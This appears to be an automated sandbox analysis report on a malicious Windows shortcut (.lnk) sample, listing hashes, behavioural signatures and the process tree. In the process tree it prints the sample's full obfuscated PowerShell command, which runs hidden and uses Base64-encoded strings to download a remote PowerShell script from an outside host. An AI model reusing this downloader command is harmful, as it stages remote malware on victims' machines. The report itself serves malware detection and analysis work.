Analysis
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max time kernel
98s -
max time network
94s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
13-06-2024 14:49
Static task
static1
Behavioral task
behavioral1
Sample
1010-2be762a573ce42e8beaa0483cd7a10c653ea3559.lnk
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
1010-2be762a573ce42e8beaa0483cd7a10c653ea3559.lnk
Resource
win10v2004-20240611-en
General
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Target
1010-2be762a573ce42e8beaa0483cd7a10c653ea3559.lnk
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Size
3KB
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MD5
2f92127c3459805b28da753c4d8b385f
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SHA1
2be762a573ce42e8beaa0483cd7a10c653ea3559
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SHA256
a0b5a87c0aaca2c906b6f331dd41477bf4f4b7f88ee23e80032db911170a1113
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SHA512
6adbb25fe60d3abc72558721f6ee37097d3a5474c54b6581efbc8201c98f6e260b0adbdb95fffce83eebb26ec7ea7e41529f09649239908ef51c86b8445e27a9
Malware Config
Signatures
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 2 4812 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4812 powershell.exe 4812 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4812 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
cmd.exedescription pid process target process PID 4740 wrote to memory of 4812 4740 cmd.exe powershell.exe PID 4740 wrote to memory of 4812 4740 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\1010-2be762a573ce42e8beaa0483cd7a10c653ea3559.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4740 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoPrOfIlE -wInDoWsTyLe hIdDe ;${_____/\__/=\/=\/=}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZgBhAHMAZABmAHMAZABhAGYAYQBzAGQAZgBhAHMA'))); ${___/=\_/=\____/\/}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGQAZwB0AGcAaAA2AHIAdABkAGgAdABmAGgAZABoAHQAZAA='))) ;${/==\/====\_/\_/=\}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGQAZwB0AHIAZwBoAGQAcgBoAGQAcwByAGgA'))); ${_/=\____/==\_/\/\}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBkAGcAdABkAHIAdABoAGQAZgBoAGQAaAA='))); ${_/=\_/\/\/==\_/\/}=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwBzAGcAcgBzAGcAaAByAGQAaAB0AGcAcwA='))); (nEw-oBjEcT sYsTeM.nEt.wEbClIeNt).dOwNlOaDfIlE($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwBwAGEAbgBlAGwALQBkAGEAcgBrAC4AYwBvAG0ALwBhAHAAcAAvAHoAZQBiAHIAYQAvADEAMgAuAHAAcwAxAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwBjAHIAaQBwAHQALgBwAHMAMQA='))));p2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4812
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82